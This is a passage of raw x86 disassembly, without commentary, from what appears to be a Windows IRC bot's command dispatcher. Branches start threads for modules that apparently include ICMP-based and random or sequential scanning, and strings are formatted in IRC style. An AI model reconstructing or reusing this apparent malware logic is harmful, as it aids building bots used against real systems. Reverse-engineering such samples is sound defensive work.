call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_434FE8
jmp loc_40F7A2
; ---------------------------------------------------------------------------
loc_40FABD: ; CODE XREF: sub_40CE55+2B53j
push offset dword_434F9C
jmp loc_41202C
; ---------------------------------------------------------------------------
loc_40FAC7: ; CODE XREF: sub_40CE55+26E6j
; sub_40CE55+26FDj ...
cmp dword_43A488, ebx
mov esi, [ebp+arg_4]
jnz loc_40FBCF
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_2EC], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
lea eax, [ebp+var_384]
push edi
push eax
call sub_416D40
push [ebp+arg_18]
call sub_415A5F
push [ebp+arg_0]
mov [ebp+var_304], eax
call sub_415A5F
push [ebp+arg_10]
mov [ebp+var_300], eax
call sub_415A5F
push 7Fh
mov [ebp+var_2FC], eax
push [ebp+var_8C]
lea eax, [ebp+var_404]
push eax
call sub_416D40
push [ebp+var_2FC]
lea eax, [ebp+var_384]
mov [ebp+var_408], esi
push [ebp+var_300]
push eax
lea eax, [ebp+var_2C8]
push [ebp+var_304]
push offset unk_434F40
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 0Eh
push eax
call sub_414F93
add esp, 48h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_408]
push ebx
push eax
push offset sub_40A217
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_2F4]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_40FBBE
loc_40FBAC: ; CODE XREF: sub_40CE55+2D67j
cmp [ebp+var_2E8], ebx
jnz short loc_40FBE8
push 32h
call dword_421060 ; Sleep
jmp short loc_40FBAC
; ---------------------------------------------------------------------------
loc_40FBBE: ; CODE XREF: sub_40CE55+2D55j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434EF4
jmp loc_41077A
; ---------------------------------------------------------------------------
loc_40FBCF: ; CODE XREF: sub_40CE55+2C7Bj
push 1FFh
lea eax, [ebp+var_2C8]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_416D40
loc_40FBE5: ; CODE XREF: sub_40CE55+3931j
add esp, 0Ch
loc_40FBE8: ; CODE XREF: sub_40CE55+2D5Dj
; sub_40CE55+2EA4j ...
cmp [ebp+var_8], ebx
jnz loc_41284E
push ebx
push [ebp+var_4]
jmp loc_411F18
; ---------------------------------------------------------------------------
loc_40FBFA: ; CODE XREF: sub_40CE55+26A1j
; sub_40CE55+26B8j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_2EC], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
lea eax, [ebp+var_384]
push edi
push eax
call sub_416D40
push [ebp+arg_18]
call sub_415A5F
push [ebp+arg_0]
mov [ebp+var_304], eax
call sub_415A5F
push [ebp+arg_10]
mov [ebp+var_300], eax
call sub_415A5F
mov esi, [ebp+esi+var_80]
add esp, 18h
cmp esi, ebx
mov [ebp+var_2FC], eax
jz short loc_40FC5F
push esi
call sub_415A5F
pop ecx
mov [ebp+var_2F8], eax
jmp short loc_40FC65
; ---------------------------------------------------------------------------
loc_40FC5F: ; CODE XREF: sub_40CE55+2DF9j
mov [ebp+var_2F8], ebx
loc_40FC65: ; CODE XREF: sub_40CE55+2E08j
push 7Fh
lea eax, [ebp+var_404]
push [ebp+var_8C]
push eax
call sub_416D40
push [ebp+var_2FC]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_384]
mov [ebp+var_408], esi
push [ebp+var_300]
push eax
lea eax, [ebp+var_2C8]
push [ebp+var_304]
push offset dword_434E80
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 0Fh
push eax
call sub_414F93
add esp, 30h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_408]
push ebx
push eax
push offset sub_40A3A3
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_2F4]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_40FD09
loc_40FCF3: ; CODE XREF: sub_40CE55+2EB2j
cmp [ebp+var_2E8], ebx
jnz loc_40FBE8
push 32h
call dword_421060 ; Sleep
jmp short loc_40FCF3
; ---------------------------------------------------------------------------
loc_40FD09: ; CODE XREF: sub_40CE55+2E9Cj
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_434E34
jmp loc_41077A
; ---------------------------------------------------------------------------
loc_40FD1A: ; CODE XREF: sub_40CE55+2673j
; sub_40CE55+268Aj
push 8
call sub_4151DB
push [ebp+arg_18]
mov [ebp+arg_8], eax
call sub_415A5F
add eax, [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 12Ch
jle short loc_40FD6D
push [ebp+arg_8]
lea eax, [ebp+var_2C8]
push offset dword_434DE0
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
loc_40FD65: ; CODE XREF: sub_40CE55+4330j
add esp, 20h
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_40FD6D: ; CODE XREF: sub_40CE55+2EE1j
push edi
call sub_415A5F
push [ebp+arg_18]
mov [ebp+var_31C], eax
call sub_415A5F
push [ebp+arg_0]
mov [ebp+var_304], eax
call sub_415A5F
add esp, 0Ch
cmp eax, 1
mov [ebp+var_318], eax
jnb short loc_40FDA6
push 1
pop eax
mov [ebp+var_318], eax
loc_40FDA6: ; CODE XREF: sub_40CE55+2F46j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40FDB3
mov [ebp+var_318], ecx
loc_40FDB3: ; CODE XREF: sub_40CE55+2F56j
push [ebp+arg_10]
call sub_415A5F
mov [ebp+var_314], eax
mov eax, 1F4h
cmp [ebp+var_314], eax
pop ecx
jbe short loc_40FDD5
mov [ebp+var_314], eax
loc_40FDD5: ; CODE XREF: sub_40CE55+2F78j
or [ebp+var_300], 0FFFFFFFFh
cmp dword_427338, ebx
mov [ebp+arg_0], ebx
jz short loc_40FE2B
mov [ebp+arg_24], offset dword_427338
loc_40FDEE: ; CODE XREF: sub_40CE55+2FB8j
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40FE11
add [ebp+arg_24], 3Ch
inc [ebp+arg_0]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_40FDEE
jmp short loc_40FE2B
; ---------------------------------------------------------------------------
loc_40FE11: ; CODE XREF: sub_40CE55+2FAAj
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_300], eax
imul ecx, 3Ch
mov ecx, dword_427338[ecx]
mov [ebp+var_31C], ecx
loc_40FE2B: ; CODE XREF: sub_40CE55+2F90j
; sub_40CE55+2FBAj
cmp [ebp+var_31C], ebx
jz loc_411C49
mov edi, [ebp+esi+var_80]
cmp edi, ebx
mov [ebp+arg_18], edi
jz short loc_40FE72
cmp byte ptr [edi], 23h
jz short loc_40FE72
push edi
lea eax, [ebp+var_430]
push 10h
push eax
call sub_415A6A
push 78h
push edi
call sub_417080
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_2F0], eax
jmp loc_40FF46
; ---------------------------------------------------------------------------
loc_40FE72: ; CODE XREF: sub_40CE55+2FEBj
; sub_40CE55+2FF0j
cmp [ebp+var_9B3], bl
jnz short loc_40FE94
cmp [ebp+var_9B2], bl
jnz short loc_40FE94
cmp [ebp+var_9A2], bl
jnz short loc_40FE94
push offset dword_434D94
jmp loc_41202C
; ---------------------------------------------------------------------------
loc_40FE94: ; CODE XREF: sub_40CE55+3023j
; sub_40CE55+302Bj ...
push 10h
lea eax, [ebp+arg_0]
pop edi
push eax
lea eax, [ebp+var_2D8]
push eax
mov [ebp+arg_0], edi
push [ebp+arg_4]
call dword_43A33C
mov al, [ebp+var_9B3]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2D4], eax
push [ebp+var_2D4]
call dword_43A424
push eax
lea eax, [ebp+var_430]
push eax
call sub_416D40
add esp, 0Ch
cmp [ebp+var_9A2], bl
jz short loc_40FF40
xor eax, eax
cmp [ebp+var_9B3], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_430]
push eax
call sub_417040
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40FF34
loc_40FF12: ; CODE XREF: sub_40CE55+30DDj
cmp eax, ebx
jz short loc_40FF34
mov byte ptr [eax], 78h
lea eax, [ebp+var_430]
push 30h
push eax
call sub_417040
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40FF12
loc_40FF34: ; CODE XREF: sub_40CE55+30BBj
; sub_40CE55+30BFj
mov [ebp+var_2F0], 1
jmp short loc_40FF46
; ---------------------------------------------------------------------------
loc_40FF40: ; CODE XREF: sub_40CE55+3095j
mov [ebp+var_2F0], ebx
loc_40FF46: ; CODE XREF: sub_40CE55+3018j
; sub_40CE55+30E9j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov [ebp+var_320], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_2F4], eax
mov edi, 80h
lea eax, [ebp+var_420]
push edi
push eax
call sub_415A6A
mov esi, [ebp+esi+var_7C]
add esp, 0Ch
cmp esi, ebx
jz short loc_40FF97
loc_40FF84: ; CODE XREF: sub_40CE55+3165j
push esi
loc_40FF85: ; CODE XREF: sub_40CE55+314Fj
lea eax, [ebp+var_3A0]
push edi
push eax
call sub_415A6A
add esp, 0Ch
jmp short loc_40FFC2
; ---------------------------------------------------------------------------
loc_40FF97: ; CODE XREF: sub_40CE55+312Dj
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40FFA6
cmp byte ptr [eax], 23h
jnz short loc_40FFA6
push eax
jmp short loc_40FF85
; ---------------------------------------------------------------------------
loc_40FFA6: ; CODE XREF: sub_40CE55+3147j
; sub_40CE55+314Cj
mov esi, offset dword_42C244
push offset byte_438FBC
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF84
mov [ebp+var_3A0], bl
loc_40FFC2: ; CODE XREF: sub_40CE55+3140j
cmp [ebp+var_2F0], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40FFD4
mov eax, offset aSequential ; "Sequential"
loc_40FFD4: ; CODE XREF: sub_40CE55+3178j
push [ebp+var_304]
lea ecx, [ebp+var_430]
push [ebp+var_314]
push [ebp+var_318]
push [ebp+var_31C]
push ecx
push eax
lea eax, [ebp+var_2C8]
push offset dword_434D08
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 8
push eax
call sub_414F93
add esp, 2Ch
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_430]
push ebx
push eax
push offset sub_40799F
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_410062
loc_41004C: ; CODE XREF: sub_40CE55+320Bj
cmp [ebp+var_2EC], ebx
jnz loc_40F7B1
push 32h
call dword_421060 ; Sleep
jmp short loc_41004C
; ---------------------------------------------------------------------------
loc_410062: ; CODE XREF: sub_40CE55+31F5j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_434CBC
jmp loc_40F7A2
; ---------------------------------------------------------------------------
loc_410073: ; CODE XREF: sub_40CE55+2633j
; sub_40CE55+264Aj
push edi
call sub_415A5F
imul eax, 234h
pop ecx
cmp byte_43F540[eax], bl
jz loc_41298E
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
call sub_415CF0
push [ebp+arg_8]
mov esi, eax
call sub_415CF0
push [ebp+arg_18]
add esi, eax
call sub_415CF0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_415AC0
mov esi, eax
lea eax, [ebp+var_2C8]
push esi
push offset dword_434CB0
push eax
call sub_4154E7
add esp, 20h
cmp esi, ebx
jz loc_41298E
push edi
call sub_415A5F
test eax, eax
pop ecx
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
push ebx
lea eax, [ebp+var_2C8]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F534[eax]
call sub_412D4C
push edi
call sub_415A5F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43F328[eax], 73h
jnz loc_41298E
push esi
push edi
call sub_415A5F
imul eax, 234h
pop ecx
add eax, offset byte_43F540
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] * %s %s"
loc_41015B: ; CODE XREF: sub_40CE55+3403j
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
loc_410180: ; CODE XREF: sub_40CE55+529Fj
add esp, 28h
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_410188: ; CODE XREF: sub_40CE55+2605j
; sub_40CE55+261Cj
push edi
call sub_415A5F
imul eax, 234h
pop ecx
cmp byte_43F540[eax], bl
jz loc_41298E
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
call sub_415CF0
push [ebp+arg_8]
mov esi, eax
call sub_415CF0
push [ebp+arg_18]
add esi, eax
call sub_415CF0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_415AC0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_41298E
push edi
call sub_415A5F
test eax, eax
pop ecx
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F534[eax]
call sub_412D4C
push edi
call sub_415A5F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43F328[eax], 73h
jnz loc_41298E
push esi
push edi
call sub_415A5F
imul eax, 234h
pop ecx
add eax, offset byte_43F540
push eax
push [ebp+arg_18]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_41015B
; ---------------------------------------------------------------------------
loc_41025D: ; CODE XREF: sub_40CE55+25D7j
; sub_40CE55+25EEj
push edi
call dword_43A3D8
push [ebp+arg_18]
mov [ebp+var_460], eax
call sub_415A5F
push [ebp+arg_0]
mov [ebp+var_46C], eax
call sub_415A5F
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_468], eax
lea eax, [ebp+var_4EC]
mov [ebp+var_4F0], esi
push eax
call sub_416D40
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_458], edi
push [ebp+var_468]
mov [ebp+var_454], eax
push [ebp+var_46C]
push [ebp+var_460]
call dword_43A424
push eax
lea eax, [ebp+var_2C8]
push offset unk_434C40
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 8
push eax
call sub_414F93
add esp, 20h
mov [ebp+var_464], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_414569
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_464]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_41033F
loc_410329: ; CODE XREF: sub_40CE55+34E8j
cmp [ebp+var_450], ebx
jnz loc_411F0D
push 32h
call dword_421060 ; Sleep
jmp short loc_410329
; ---------------------------------------------------------------------------
loc_41033F: ; CODE XREF: sub_40CE55+34D2j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434BF0
jmp loc_411EFE
; ---------------------------------------------------------------------------
loc_410350: ; CODE XREF: sub_40CE55+25A9j
; sub_40CE55+25C0j
push edi
call sub_415A5F
push 7Fh
mov [ebp+var_300], eax
push [ebp+arg_18]
lea eax, [ebp+var_404]
push eax
call sub_416D40
push [ebp+arg_0]
call sub_415A5F
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_384]
push 80h
push eax
mov [ebp+var_40C], esi
call sub_415A6A
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_2F0], eax
push [ebp+var_304]
lea eax, [ebp+var_404]
mov [ebp+var_2F4], edi
push eax
push [ebp+var_300]
push esi
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_2C8]
push offset unk_434BA0
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 10h
push eax
call sub_414F93
add esp, 24h
mov [ebp+var_2FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_40C]
push ebx
push eax
push offset sub_407BFE
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_2FC]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_410439
loc_410423: ; CODE XREF: sub_40CE55+35E2j
cmp [ebp+var_2EC], ebx
jnz loc_411F0D
push 32h
call dword_421060 ; Sleep
jmp short loc_410423
; ---------------------------------------------------------------------------
loc_410439: ; CODE XREF: sub_40CE55+35CCj
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434B4C
jmp loc_411EFE
; ---------------------------------------------------------------------------
loc_41044A: ; CODE XREF: sub_40CE55+257Bj
; sub_40CE55+2592j
push 0FFh
lea eax, [ebp+var_788]
push edi
push eax
call sub_416D40
push 0FFh
lea eax, [ebp+var_688]
push [ebp+arg_18]
push eax
call sub_416D40
push [ebp+arg_0]
mov [ebp+var_584], ebx
call sub_415A5F
mov [ebp+var_580], eax
mov eax, [ebp+esi+var_84]
add esp, 1Ch
cmp eax, ebx
jz short loc_4104A6
push 10h
push ebx
push eax
call sub_416A89
add esp, 0Ch
mov [ebp+var_578], eax
jmp short loc_4104AC
; ---------------------------------------------------------------------------
loc_4104A6: ; CODE XREF: sub_40CE55+363Bj
mov [ebp+var_578], ebx
loc_4104AC: ; CODE XREF: sub_40CE55+364Fj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_4104C3
push esi
call sub_415A5F
pop ecx
mov [ebp+var_57C], eax
jmp short loc_4104C9
; ---------------------------------------------------------------------------
loc_4104C3: ; CODE XREF: sub_40CE55+365Dj
mov [ebp+var_57C], ebx
loc_4104C9: ; CODE XREF: sub_40CE55+366Cj
movzx eax, [ebp+var_9AF]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_574], eax
lea eax, [ebp+var_808]
mov [ebp+var_80C], esi
push eax
call sub_416D40
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_56C], eax
mov eax, [ebp+var_8]
mov [ebp+var_570], eax
push edi
lea eax, [ebp+var_2C8]
push offset unk_434B0C
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_2C8]
push 15h
push eax
call sub_414F93
add esp, 28h
mov [ebp+var_588], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_80C]
push ebx
push eax
push offset sub_40BCEF
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_588]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_410577
loc_410561: ; CODE XREF: sub_40CE55+3720j
cmp [ebp+var_568], ebx
jnz loc_40FBE8
push 32h
call dword_421060 ; Sleep
jmp short loc_410561
; ---------------------------------------------------------------------------
loc_410577: ; CODE XREF: sub_40CE55+370Aj
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434AB8
jmp loc_41077A
; ---------------------------------------------------------------------------
loc_410588: ; CODE XREF: sub_40CE55+254Dj
; sub_40CE55+2564j
push 7Fh
lea eax, [ebp+var_774]
pop esi
push esi
push edi
push eax
call sub_416D40
push esi
lea eax, [ebp+var_6F4]
push [ebp+arg_18]
push eax
call sub_416D40
push esi
lea eax, [ebp+var_674]
push [ebp+arg_0]
push eax
call sub_416D40
push esi
lea eax, [ebp+var_5F4]
push [ebp+var_8C]
push eax
call sub_416D40
mov eax, [ebp+var_8]
push [ebp+arg_0]
mov esi, [ebp+var_4]
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
push [ebp+arg_18]
mov [ebp+var_778], eax
lea eax, [ebp+var_2C8]
push edi
push offset dword_434A78
push eax
mov [ebp+var_570], esi
call sub_4154E7
add esp, 44h
lea eax, [ebp+var_2C8]
push ebx
push 0Bh
push eax
call sub_414F93
add esp, 0Ch
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_778]
push ebx
push eax
push offset sub_40182E
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_41065B
loc_410649: ; CODE XREF: sub_40CE55+3804j
cmp [ebp+var_568], ebx
jnz short loc_410676
push 32h
call dword_421060 ; Sleep
jmp short loc_410649
; ---------------------------------------------------------------------------
loc_41065B: ; CODE XREF: sub_40CE55+37F2j
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C8]
push offset dword_434A2C
push eax
call sub_4154E7
add esp, 0Ch
loc_410676: ; CODE XREF: sub_40CE55+37FAj
cmp [ebp+var_8], ebx
jnz loc_41284E
push ebx
push esi
jmp loc_40F7BE
; ---------------------------------------------------------------------------
loc_410686: ; CODE XREF: sub_40CE55+2508j
; sub_40CE55+251Fj ...
push 7Fh
lea eax, [ebp+var_7F0]
pop esi
push esi
push edi
push eax
call sub_416D40
push esi
lea eax, [ebp+var_770]
push [ebp+arg_18]
push eax
call sub_416D40
push esi
lea eax, [ebp+var_6F0]
push [ebp+arg_0]
push eax
call sub_416D40
push esi
lea eax, [ebp+var_670]
push [ebp+var_8C]
push eax
call sub_416D40
push 20h
lea eax, [ebp+var_5F0]
push [ebp+arg_8]
push eax
call sub_416D40
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_56C], eax
lea eax, [ebp+var_2C8]
push edi
push offset unk_4349E8
push eax
mov [ebp+var_7F8], esi
call sub_4154E7
add esp, 50h
lea eax, [ebp+var_2C8]
push ebx
push 0Ah
push eax
call sub_414F93
add esp, 0Ch
mov [ebp+var_7F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F8]
push ebx
push eax
push offset sub_401000
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_7F4]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_41076E
loc_410758: ; CODE XREF: sub_40CE55+3917j
cmp [ebp+var_568], ebx
jnz loc_40FBE8
push 32h
call dword_421060 ; Sleep
jmp short loc_410758
; ---------------------------------------------------------------------------
loc_41076E: ; CODE XREF: sub_40CE55+3901j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_43499C
loc_41077A: ; CODE XREF: sub_40CE55+2D75j
; sub_40CE55+2EC0j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
jmp loc_40FBE5
; ---------------------------------------------------------------------------
loc_41078B: ; CODE XREF: sub_40CE55+24DAj
; sub_40CE55+24F1j
push 7Fh
lea eax, [ebp+var_444]
push edi
push eax
call sub_416D40
push [ebp+arg_18]
call sub_415A5F
push 3Fh
mov [ebp+var_2F4], eax
push [ebp+arg_0]
lea eax, [ebp+var_3C4]
push eax
call sub_416D40
mov esi, [ebp+esi+var_84]
add esp, 1Ch
cmp esi, ebx
jz short loc_4107D9
push 3Fh
lea eax, [ebp+var_384]
push esi
push eax
call sub_416D40
add esp, 0Ch
loc_4107D9: ; CODE XREF: sub_40CE55+3970j
lea eax, [ebp+var_3C4]
mov [ebp+var_2F0], 1
push eax
lea eax, [ebp+var_444]
push [ebp+var_2F4]
push eax
lea eax, [ebp+var_2C8]
push offset unk_434958
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 17h
push eax
call sub_414F93
add esp, 20h
mov [ebp+var_2EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_448]
push ebx
push eax
push offset sub_40CB75
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_2EC]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_410865
loc_41084F: ; CODE XREF: sub_40CE55+3A0Ej
cmp [ebp+var_2E8], ebx
jnz loc_40F713
push 32h
call dword_421060 ; Sleep
jmp short loc_41084F
; ---------------------------------------------------------------------------
loc_410865: ; CODE XREF: sub_40CE55+39F8j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_43490C
jmp loc_40F704
; ---------------------------------------------------------------------------
loc_410876: ; CODE XREF: sub_40CE55+249Aj
; sub_40CE55+24B1j
push [ebp+arg_18]
call sub_415A5F
cmp eax, ebx
pop ecx
mov [ebp+var_578], eax
jle loc_410967
mov esi, 80h
push edi
lea eax, [ebp+var_700]
push esi
push eax
call sub_415A6A
xor eax, eax
cmp [ebp+var_9A2], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_574], eax
mov eax, [ebp+arg_4]
mov [ebp+var_704], eax
lea eax, [ebp+var_600]
push esi
push eax
call sub_415A6A
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
push edi
push offset unk_4348CC
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
push ebx
lea eax, [ebp+var_2C8]
push 0Dh
push eax
call sub_414F93
add esp, 38h
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_704]
push ebx
push eax
push offset sub_401447
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_410956
loc_410940: ; CODE XREF: sub_40CE55+3AFFj
cmp [ebp+var_568], ebx
jnz loc_40F7B1
push 32h
call dword_421060 ; Sleep
jmp short loc_410940
; ---------------------------------------------------------------------------
loc_410956: ; CODE XREF: sub_40CE55+3AE9j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434880
jmp loc_40F7A2
; ---------------------------------------------------------------------------
loc_410967: ; CODE XREF: sub_40CE55+3A32j
push offset unk_434834
jmp loc_41202C
; ---------------------------------------------------------------------------
loc_410971: ; CODE XREF: sub_40CE55+246Cj
; sub_40CE55+2483j
push [ebp+arg_18]
push edi
call dword_421134 ; MoveFileA
test eax, eax
jz short loc_41099E
push [ebp+arg_18]
lea eax, [ebp+var_2C8]
push edi
push offset unk_4347FC
push 200h
push eax
call sub_415A6A
jmp loc_4111C1
; ---------------------------------------------------------------------------
loc_41099E: ; CODE XREF: sub_40CE55+3B28j
push offset dword_4347DC
call sub_409C08
push eax
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
add esp, 10h
jmp loc_40F7B1
; ---------------------------------------------------------------------------
loc_4109C2: ; CODE XREF: sub_40CE55+243Ej
; sub_40CE55+2455j
push edi
lea eax, [ebp+var_77C]
push 104h
push eax
call sub_415A6A
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_4109FC
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4109FC
push eax
lea eax, [ebp+var_678]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_4109FC: ; CODE XREF: sub_40CE55+3B85j
; sub_40CE55+3B96j
push [ebp+var_8C]
lea eax, [ebp+var_7FC]
push 80h
push eax
call sub_415A6A
mov eax, [ebp+arg_4]
mov [ebp+var_800], eax
mov eax, [ebp+var_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
lea eax, [ebp+var_678]
push eax
lea eax, [ebp+var_77C]
push eax
push offset unk_434798
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
push ebx
lea eax, [ebp+var_2C8]
push 1Bh
push eax
call sub_414F93
add esp, 2Ch
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_800]
push ebx
push eax
push offset sub_408788
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_410AAF
loc_410A99: ; CODE XREF: sub_40CE55+3C58j
cmp [ebp+var_568], ebx
jnz loc_41284E
push 32h
call dword_421060 ; Sleep
jmp short loc_410A99
; ---------------------------------------------------------------------------
loc_410AAF: ; CODE XREF: sub_40CE55+3C42j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434748
jmp loc_41283F
; ---------------------------------------------------------------------------
loc_410AC0: ; CODE XREF: sub_40CE55+2410j
; sub_40CE55+2427j
push 44h
lea eax, [ebp+var_48C]
pop esi
push esi
push ebx
push eax
call sub_415570
push 1
mov [ebp+var_48C], esi
pop esi
mov word ptr [ebp+var_45C], bx
push edi
mov [ebp+var_460], esi
call sub_415A5F
add esp, 10h
cmp eax, esi
jnz short loc_410AFD
mov word ptr [ebp+var_45C], 5
loc_410AFD: ; CODE XREF: sub_40CE55+3C9Dj
cmp [ebp+var_C], ebx
jz loc_40F713
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
mov edi, eax
